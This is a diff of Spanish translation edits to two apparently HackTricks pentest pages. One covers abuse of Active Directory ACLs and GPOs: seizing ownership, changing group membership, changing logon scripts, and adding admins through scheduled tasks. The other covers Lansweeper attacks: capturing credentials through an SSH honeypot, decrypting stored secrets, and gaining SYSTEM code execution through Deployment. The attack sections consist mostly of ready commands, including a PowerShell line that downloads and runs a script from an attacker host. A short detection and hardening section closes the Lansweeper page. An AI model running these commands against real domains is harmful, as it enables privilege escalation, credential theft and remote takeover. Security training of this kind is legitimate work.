@ -85,23 +85,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
 rpcclient -U KnownUsername 10.10.10.192
 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
 ```
-## **WriteOwner en Grupo**
+## **WriteOwner en un grupo**

-Si un atacante descubre que tiene permisos `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es especialmente significativo cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos del grupo y su membresía. El proceso implica identificar el objeto correcto mediante `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o por nombre.
+Si un atacante descubre que tiene derechos de `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es particularmente impactante cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos del grupo y la membresía. El proceso implica identificar el objeto correcto mediante `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o por nombre.
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
 Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
-## **GenericWrite en Usuario**
+## **GenericWrite on User**

-Este permiso permite a un atacante modificar las propiedades del usuario. Específicamente, con acceso `GenericWrite`, el atacante puede cambiar la ruta del script de inicio de sesión de un usuario para ejecutar un script malicioso al iniciar sesión. Esto se logra usando el comando `Set-ADObject` para actualizar la propiedad `scriptpath` del usuario objetivo para que apunte al script del atacante.
+Este permiso permite a un atacante modificar las propiedades del usuario. Específicamente, con acceso `GenericWrite`, el atacante puede cambiar la ruta del script de inicio de sesión de un usuario para ejecutar un script malicioso cuando el usuario inicia sesión. Esto se logra usando el comando `Set-ADObject` para actualizar la propiedad `scriptpath` del usuario objetivo para que apunte al script del atacante.
 ```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
 ## **GenericWrite on Group**

-Con este privilegio, los atacantes pueden manipular la pertenencia a grupos, como agregarse a sí mismos u a otros usuarios a grupos específicos. Este proceso implica crear un objeto de credencial, usarlo para agregar o quitar usuarios de un grupo y verificar los cambios de pertenencia con comandos de PowerShell.
+Con este privilegio, los atacantes pueden manipular la membresía de grupos, por ejemplo agregarse a sí mismos u otros usuarios a grupos específicos. Este proceso implica crear un objeto de credenciales, usarlo para agregar o eliminar usuarios de un grupo y verificar los cambios de membresía con comandos de PowerShell.
 ```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**

-Poseer un objeto AD y tener privilegios `WriteDACL` sobre él permite a un atacante otorgarse a sí mismo privilegios `GenericAll` sobre el objeto. Esto se consigue mediante la manipulación de ADSI, lo que permite el control total del objeto y la capacidad de modificar su pertenencia a grupos. No obstante, existen limitaciones al intentar explotar estos privilegios usando los cmdlets `Set-Acl` / `Get-Acl` del módulo Active Directory.
+Poseer un objeto de AD y tener privilegios `WriteDACL` sobre él permite a un atacante concederse a sí mismo privilegios `GenericAll` sobre el objeto. Esto se logra mediante la manipulación de ADSI, lo que permite el control total del objeto y la capacidad de modificar sus membresías de grupo. A pesar de ello, existen limitaciones al intentar explotar estos privilegios usando los cmdlets `Set-Acl` / `Get-Acl` del módulo de Active Directory.
 ```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -119,64 +119,64 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
 $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
 $ADSI.psbase.commitchanges()
 ```
-## **Replicación en el dominio (DCSync)**
+## **Replicación en el Dominio (DCSync)**

-El ataque DCSync aprovecha permisos de replicación específicos en el dominio para imitar a un Controlador de Dominio y sincronizar datos, incluidas las credenciales de usuario. Esta técnica poderosa requiere permisos como `DS-Replication-Get-Changes`, lo que permite a los atacantes extraer información sensible del entorno AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md)
+El ataque DCSync aprovecha permisos de replicación específicos en el dominio para hacerse pasar por un Domain Controller y sincronizar datos, incluyendo credenciales de usuario. Esta técnica poderosa requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno AD sin acceso directo a un Controlador de Dominio. [**Learn more about the DCSync attack here.**](../dcsync.md)

 ## Delegación de GPO <a href="#gpo-delegation" id="gpo-delegation"></a>

 ### Delegación de GPO

-El acceso delegado para administrar Objetos de directiva de grupo (GPOs) puede presentar riesgos de seguridad significativos. Por ejemplo, si a un usuario como `offense\spotless` se le delegan derechos de gestión de GPO, podría tener privilegios como **WriteProperty**, **WriteDacl** y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+El acceso delegado para gestionar Group Policy Objects (GPOs) puede presentar riesgos de seguridad significativos. Por ejemplo, si a un usuario como `offense\spotless` se le delegan derechos de gestión de GPO, puede tener privilegios como **WriteProperty**, **WriteDacl**, y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

 ### Enumerar permisos de GPO

-Para identificar GPOs mal configurados, los cmdlets de PowerSploit pueden encadenarse. Esto permite descubrir GPOs que un usuario específico puede administrar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Para identificar GPOs mal configuradas, los cmdlets de PowerSploit pueden encadenarse. Esto permite descubrir GPOs que un usuario específico tiene permisos para gestionar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-**Equipos con una política aplicada**: Es posible resolver a qué equipos se aplica un GPO específico, lo que ayuda a entender el alcance del posible impacto. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Equipos a los que se aplica una política determinada**: Es posible resolver a qué equipos se aplica una GPO específica, ayudando a entender el alcance del impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`

-**Políticas aplicadas a un equipo dado**: Para ver qué políticas se aplican a un equipo en particular, se pueden utilizar comandos como `Get-DomainGPO`.
+**Políticas aplicadas a un equipo determinado**: Para ver qué políticas se aplican a un equipo en particular, se pueden utilizar comandos como `Get-DomainGPO`.

-**OUs con una política aplicada**: Identificar unidades organizativas (OUs) afectadas por una política dada puede hacerse usando `Get-DomainOU`.
+**OUs con una política aplicada**: Identificar las unidades organizativas (OUs) afectadas por una política dada se puede hacer usando `Get-DomainOU`.

 También puedes usar la herramienta [**GPOHound**](https://github.com/cogiceo/GPOHound) para enumerar GPOs y encontrar problemas en ellas.

-### Abusar de GPO - New-GPOImmediateTask
+### Abuso de GPO - New-GPOImmediateTask

-Los GPOs mal configurados pueden explotarse para ejecutar código, por ejemplo, creando una tarea programada inmediata. Esto puede hacerse para añadir un usuario al grupo de administradores locales en las máquinas afectadas, elevando significativamente los privilegios:
+Las GPOs mal configuradas pueden explotarse para ejecutar código, por ejemplo, creando una tarea programada inmediata. Esto puede usarse para agregar un usuario al grupo de administradores locales en máquinas afectadas, elevando significativamente privilegios:
 ```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
 ### GroupPolicy module - Abuse GPO

-El módulo GroupPolicy, si está instalado, permite la creación y vinculación de nuevos GPOs y la configuración de preferencias, como valores del registro, para ejecutar backdoors en los equipos afectados. Este método requiere que el GPO se actualice y que un usuario inicie sesión en el equipo para su ejecución:
+El GroupPolicy module, si está instalado, permite la creación y el enlace de nuevos GPOs, y la configuración de preferencias como valores del registro para ejecutar backdoors en los equipos afectados. Este método requiere que el GPO se actualice y que un usuario inicie sesión en el equipo para su ejecución:
 ```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
 ```
-### SharpGPOAbuse - Abuse GPO
+### SharpGPOAbuse - Abuso de GPO

-SharpGPOAbuse ofrece un método para abusar de GPOs existentes añadiendo tareas o modificando configuraciones sin la necesidad de crear nuevos GPOs. Esta herramienta requiere la modificación de GPOs existentes o el uso de herramientas RSAT para crear nuevas antes de aplicar los cambios:
+SharpGPOAbuse ofrece un método para abusar de GPOs existentes añadiendo tareas o modificando configuraciones sin la necesidad de crear nuevas GPOs. Esta herramienta requiere la modificación de GPOs existentes o el uso de herramientas RSAT para crear nuevas antes de aplicar los cambios:
 ```bash
 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
 ```
-### Forzar actualización de políticas
+### Forzar actualización de la directiva

-Las actualizaciones de GPO suelen producirse aproximadamente cada 90 minutos. Para acelerar este proceso, especialmente tras implementar un cambio, se puede usar el comando `gpupdate /force` en el equipo objetivo para forzar una actualización inmediata de la política. Este comando asegura que cualquier modificación en las GPO se aplique sin esperar al siguiente ciclo de actualización automático.
+Las actualizaciones de GPO suelen producirse aproximadamente cada 90 minutos. Para acelerar este proceso, especialmente después de aplicar un cambio, se puede usar el comando `gpupdate /force` en el equipo objetivo para forzar una actualización inmediata de la directiva. Este comando garantiza que las modificaciones a las GPOs se apliquen sin esperar al siguiente ciclo de actualización automático.

 ### Bajo el capó

-Al inspeccionar las tareas programadas de una GPO determinada, como la `Misconfigured Policy`, se puede confirmar la adición de tareas como `evilTask`. Estas tareas se crean mediante scripts o herramientas de línea de comandos con el objetivo de modificar el comportamiento del sistema o escalar privilegios.
+Al inspeccionar los Scheduled Tasks de una GPO determinada, como `Misconfigured Policy`, se puede confirmar la adición de tareas como `evilTask`. Estas tareas se crean mediante scripts o herramientas de línea de comandos con el objetivo de modificar el comportamiento del sistema o escalar privilegios.

-La estructura de la tarea, como se muestra en el archivo de configuración XML generado por `New-GPOImmediateTask`, detalla las especificaciones de la tarea programada — incluyendo el comando a ejecutar y sus desencadenadores. Este archivo representa cómo se definen y gestionan las tareas programadas dentro de las GPO, proporcionando un método para ejecutar comandos o scripts arbitrarios como parte de la aplicación de políticas.
+La estructura de la tarea, como se muestra en el archivo de configuración XML generado por `New-GPOImmediateTask`, detalla los aspectos específicos de la tarea programada — incluido el comando a ejecutar y sus disparadores. Este archivo representa cómo se definen y gestionan los Scheduled Tasks dentro de las GPOs, proporcionando un método para ejecutar comandos o scripts arbitrarios como parte de la aplicación de la directiva.

-### Usuarios y grupos
+### Usuarios y Grupos

-Las GPO también permiten la manipulación de miembros de usuarios y grupos en los sistemas objetivo. Al editar directamente los archivos de política de Usuarios y grupos, los atacantes pueden añadir usuarios a grupos privilegiados, como el grupo local `administrators`. Esto es posible mediante la delegación de permisos de gestión de GPO, que permite la modificación de los archivos de política para incluir nuevos usuarios o cambiar membresías de grupos.
+Las GPOs también permiten la manipulación de la pertenencia de usuarios y grupos en sistemas objetivo. Al editar directamente los archivos de la política Users and Groups, los atacantes pueden añadir usuarios a grupos privilegiados, como el grupo local `administrators`. Esto es posible mediante la delegación de permisos de gestión de las GPO, que permite la modificación de los archivos de política para incluir nuevos usuarios o cambiar la pertenencia a grupos.

-El archivo de configuración XML para Usuarios y grupos describe cómo se implementan estos cambios. Al añadir entradas a este archivo, se puede otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios mediante la manipulación de GPO.
+El archivo de configuración XML para Users and Groups describe cómo se implementan estos cambios. Al añadir entradas a este archivo, se puede otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios mediante la manipulación de GPOs.

-Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de inicio/cierre de sesión, modificar claves del registro para autoruns, instalar software mediante archivos .msi o editar configuraciones de servicios. Estas técnicas proporcionan diversas vías para mantener acceso y controlar sistemas objetivo mediante el abuso de GPO.
+Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de logon/logoff, modificar claves del registro para autoruns, instalar software mediante archivos .msi, o editar configuraciones de servicios. Estas técnicas proporcionan diferentes vías para mantener el acceso y controlar sistemas objetivo mediante el abuso de GPOs.

 ## Referencias

--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
@ -1,28 +1,28 @@
-# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
+# Lansweeper Abuse: Captura de credenciales, desencriptado de secretos y RCE a través de Deployment

 {{#include ../../banners/hacktricks-training.md}}

-Lansweeper es una plataforma de descubrimiento e inventario de activos IT comúnmente desplegada en Windows e integrada con Active Directory. Las credenciales configuradas en Lansweeper son utilizadas por sus motores de escaneo para autenticarse en activos mediante protocolos como SSH, SMB/WMI y WinRM. Las malas configuraciones con frecuencia permiten:
+Lansweeper es una plataforma de descubrimiento e inventario de activos de TI comúnmente desplegada en Windows e integrada con Active Directory. Las credenciales configuradas en Lansweeper son usadas por sus motores de escaneo para autenticarse en activos a través de protocolos como SSH, SMB/WMI y WinRM. Las malas configuraciones frecuentemente permiten:

- Intercepción de credenciales redirigiendo un Scanning Target a un host controlado por el atacante (honeypot)
- Abuso de ACLs de AD expuestas por grupos relacionados con Lansweeper para obtener acceso remoto
- Descifrado en el host de secretos configurados en Lansweeper (connection strings y credenciales de scanning almacenadas)
- Ejecución de código en endpoints gestionados a través de la función Deployment (a menudo ejecutándose como SYSTEM)
+- Interceptación de credenciales redirigiendo un Scanning Target a un host controlado por el atacante (honeypot)
+- Abuso de AD ACLs expuestas por grupos relacionados con Lansweeper para obtener acceso remoto
+- Desencriptado en el host de secretos configurados en Lansweeper (connection strings y credenciales de escaneo almacenadas)
+- Ejecución de código en endpoints gestionados vía la función Deployment (a menudo ejecutándose como SYSTEM)

-Esta página resume flujos de trabajo prácticos y comandos que un atacante puede usar para explotar estos comportamientos durante evaluaciones.
+Esta página resume flujos de trabajo prácticos y comandos para abusar de estos comportamientos durante engagements.

-## 1) Recolección de credenciales de escaneo vía honeypot (ejemplo SSH)
+## 1) Capturar credenciales de escaneo vía honeypot (ejemplo SSH)

-Idea: crea un Scanning Target que apunte a tu host y asigna las Scanning Credentials existentes a él. Cuando se ejecute el scan, Lansweeper intentará autenticarse con esas credenciales y tu honeypot las capturará.
+Idea: crea un Scanning Target que apunte a tu host y asigna las Scanning Credentials existentes a él. Cuando se ejecute el escaneo, Lansweeper intentará autenticarse con esas credenciales, y tu honeypot las capturará.

-Steps overview (web UI):
+Resumen de pasos (UI web):
 - Scanning → Scanning Targets → Add Scanning Target
 - Type: IP Range (or Single IP) = tu IP de VPN
- Configura el puerto SSH a uno accesible (por ejemplo, 2022 si el 22 está bloqueado)
- Desactiva la programación y planifícalo para ejecutarlo manualmente
- Scanning → Scanning Credentials → asegúrate de que existan credenciales Linux/SSH; asígnalas al nuevo Scanning Target (activa todas según sea necesario)
- Haz clic en “Scan now” en el target
- Ejecuta un honeypot SSH y recupera el usuario/contraseña intentados
+- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
+- Disable 'Schedule' y 'Plan' para ejecutarlo manualmente
+- Scanning → Scanning Credentials → asegúrate de que existen credenciales Linux/SSH; asígnalas al nuevo target (habilita todas según necesites)
+- Haz clic en “Scan now” sobre el target
+- Ejecuta un SSH honeypot y recupera el usuario/contraseña intentados

 Ejemplo con sshesame:
 ```yaml
@ -39,22 +39,22 @@ sshesame --config sshesame.conf
 # authentication for user "svc_inventory_lnx" with password "<password>" accepted
 # connection with client version "SSH-2.0-RebexSSH_5.0.x" established
 ```
-Validar las creds capturadas contra los servicios del DC:
+Validar credenciales capturadas contra los servicios del DC:
 ```bash
 # SMB/LDAP/WinRM checks (NetExec)
 netexec smb   inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 netexec ldap  inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Notas
- Funciona de manera similar para otros protocolos cuando puedes hacer que el scanner se conecte a tu listener (honeypots SMB/WinRM, etc.). SSH suele ser lo más sencillo.
- Muchos scanners se identifican con banners de cliente distintos (p. ej., RebexSSH) y probarán comandos benignos (uname, whoami, etc.).
+Notes
+- Funciona de forma similar para otros protocolos cuando puedes forzar que el escáner se conecte a tu listener (honeypots SMB/WinRM, etc.). SSH suele ser el más sencillo.
+- Muchos escáneres se identifican con banners de cliente distintos (p. ej., RebexSSH) y probarán comandos benignos (uname, whoami, etc.).

 ## 2) AD ACL abuse: obtener acceso remoto añadiéndote a un grupo app-admin

-Usa BloodHound para enumerar los derechos efectivos de la cuenta comprometida. Un hallazgo común es un grupo específico del scanner o de la app (p. ej., “Lansweeper Discovery”) que tiene GenericAll sobre un grupo privilegiado (p. ej., “Lansweeper Admins”). Si el grupo privilegiado también es miembro de “Remote Management Users”, WinRM estará disponible una vez que nos añadamos.
+Usa BloodHound para enumerar los derechos efectivos desde la cuenta comprometida. Un hallazgo común es un grupo específico del escáner o de la app (p. ej., “Lansweeper Discovery”) que posee GenericAll sobre un grupo privilegiado (p. ej., “Lansweeper Admins”). Si el grupo privilegiado también es miembro de “Remote Management Users”, WinRM estará disponible una vez que nos añadamos.

-Ejemplos de recopilación:
+Collection examples:
 ```bash
 # NetExec collection with LDAP
 netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhoun
 # RustHound-CE collection (zip for BH CE import)
 rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
 ```
-Exploit GenericAll en un grupo con BloodyAD (Linux):
+Explotar GenericAll en un grupo con BloodyAD (Linux):
 ```bash
 # Add our user into the target group
 bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
 # Confirm WinRM access if the group grants it
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Luego obtén una shell interactiva:
+Luego obtén un shell interactivo:
 ```bash
 evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Consejo: las operaciones de Kerberos son sensibles al tiempo. Si recibes KRB_AP_ERR_SKEW, sincronízate con el DC primero:
+Consejo: Las operaciones de Kerberos son sensibles al tiempo. Si te encuentras con KRB_AP_ERR_SKEW, sincroniza con el DC primero:
 ```bash
 sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
 ```
-## 3) Desencriptar secretos configurados por Lansweeper en el host
+## 3) Decrypt secretos configurados por Lansweeper en el host

-En el servidor de Lansweeper, el sitio ASP.NET suele almacenar una cadena de conexión encriptada y una clave simétrica usada por la aplicación. Con acceso local adecuado, puedes desencriptar la cadena de conexión de la DB y luego extraer las credenciales de escaneo almacenadas.
+En el servidor Lansweeper, el sitio ASP.NET típicamente almacena un encrypted connection string y una symmetric key usada por la aplicación. Con acceso local apropiado, puedes decrypt el DB connection string y luego extraer las scanning credentials almacenadas.

 Ubicaciones típicas:
 - Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
 - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
 - Clave de la aplicación: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`

-Usa SharpLansweeperDecrypt para automatizar la desencriptación y el volcado de las credenciales almacenadas:
+Usa SharpLansweeperDecrypt para automatizar la decryption y el dumping de las creds almacenadas:
 ```powershell
 # From a WinRM session or interactive shell on the Lansweeper host
 # PowerShell variant
@ -99,24 +99,24 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
 #  - Connect to Lansweeper DB
 #  - Decrypt stored scanning credentials and print them in cleartext
 ```
-El resultado esperado incluye detalles de conexión a la base de datos (DB) y credenciales de escaneo en texto plano, como cuentas de Windows y Linux utilizadas en todo el entorno. Estas a menudo tienen privilegios locales elevados en los hosts del dominio:
+La salida esperada incluye detalles de conexión DB y credenciales de escaneo en texto plano, como cuentas de Windows y Linux usadas en todo el entorno. Estas a menudo tienen privilegios locales elevados en hosts del dominio:
 ```text
 Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
 Inventory Linux    svc_inventory_lnx        <StrongPassword!>
 ```
-Usar Windows scanning creds recuperadas para acceso privilegiado:
+Usar credenciales de escaneo de Windows recuperadas para acceso privilegiado:
 ```bash
 netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
 # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
 ```
 ## 4) Lansweeper Deployment → SYSTEM RCE

-Como miembro de “Lansweeper Admins”, la web UI expone Deployment y Configuration. Bajo Deployment → Deployment packages, puedes crear paquetes que ejecutan comandos arbitrarios en activos objetivo. La ejecución la realiza el servicio de Lansweeper con altos privilegios, otorgando ejecución de código como NT AUTHORITY\SYSTEM en el host seleccionado.
+Como miembro de “Lansweeper Admins”, la interfaz web expone Deployment y Configuration. Bajo Deployment → Deployment packages, puedes crear packages que ejecuten comandos arbitrarios en activos objetivo. La ejecución la realiza el servicio de Lansweeper con privilegios elevados, proporcionando ejecución de código como NT AUTHORITY\SYSTEM en el host seleccionado.

 High-level steps:
- Crea un nuevo Deployment package que ejecute un one-liner de PowerShell o cmd (reverse shell, add-user, etc.).
- Apunta al asset deseado (por ejemplo, el DC/host donde se ejecuta Lansweeper) y haz clic en Deploy/Run now.
- Captura tu shell como SYSTEM.
+- Crea un nuevo Deployment package que ejecute un comando de una sola línea de PowerShell o cmd (reverse shell, add-user, etc.).
+- Apunta al activo deseado (p. ej., el DC/host donde corre Lansweeper) y haz clic en Deploy/Run now.
+- Obtén tu shell como SYSTEM.

 Example payloads (PowerShell):
 ```powershell
@ -127,19 +127,19 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
 powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
 ```
 OPSEC
- Deployment actions are noisy and leave logs in Lansweeper and Windows event logs. Use judiciously.
+- Las acciones de Deployment son ruidosas y dejan logs en Lansweeper y en los registros de eventos de Windows. Úsalas con moderación.

 ## Detección y endurecimiento

- Restringir o eliminar las enumeraciones SMB anónimas. Monitorizar el RID cycling y el acceso anómalo a los shares de Lansweeper.
- Controles de salida (egress): bloquear o restringir estrictamente el tráfico saliente SSH/SMB/WinRM desde los hosts scanner. Alertar sobre puertos no estándar (p. ej., 2022) y banners de cliente inusuales como Rebex.
- Proteger `Website\\web.config` y `Key\\Encryption.txt`. Externalizar secretos en un vault y rotarlos en caso de exposición. Considerar cuentas de servicio con privilegios mínimos y gMSA cuando sea viable.
- Monitoreo de AD: alertar sobre cambios en grupos relacionados con Lansweeper (p. ej., “Lansweeper Admins”, “Remote Management Users”) y sobre cambios de ACL que otorguen membresía GenericAll/Write en grupos privilegiados.
- Auditar la creación/cambios/ejecución de paquetes de Deployment; alertar sobre paquetes que lancen cmd.exe/powershell.exe o conexiones salientes inesperadas.
+- Restringir o eliminar las enumeraciones SMB anónimas. Supervisar el RID cycling y el acceso anómalo a los shares de Lansweeper.
+- Controles de salida: bloquear o restringir estrictamente SSH/SMB/WinRM salientes desde los hosts del scanner. Alertar sobre puertos no estándar (p. ej., 2022) y banners de cliente inusuales como Rebex.
+- Protege `Website\\web.config` y `Key\\Encryption.txt`. Externaliza los secretos en una bóveda (vault) y rótalos si se exponen. Considera cuentas de servicio con privilegios mínimos y gMSA donde sea viable.
+- Monitoreo de AD: alertar sobre cambios en grupos relacionados con Lansweeper (p. ej., “Lansweeper Admins”, “Remote Management Users”) y sobre cambios en ACL que otorguen GenericAll/Write membership en grupos privilegiados.
+- Audita creaciones/cambios/ejecuciones de paquetes de Deployment; alerta sobre paquetes que lancen cmd.exe/powershell.exe o conexiones salientes inesperadas.

 ## Temas relacionados
 - Enumeración SMB/LSA/SAMR y RID cycling
- Password spraying en Kerberos y consideraciones sobre clock skew
+- Kerberos password spraying y consideraciones de clock skew
 - Análisis de rutas con BloodHound de grupos application-admin
 - Uso de WinRM y movimiento lateral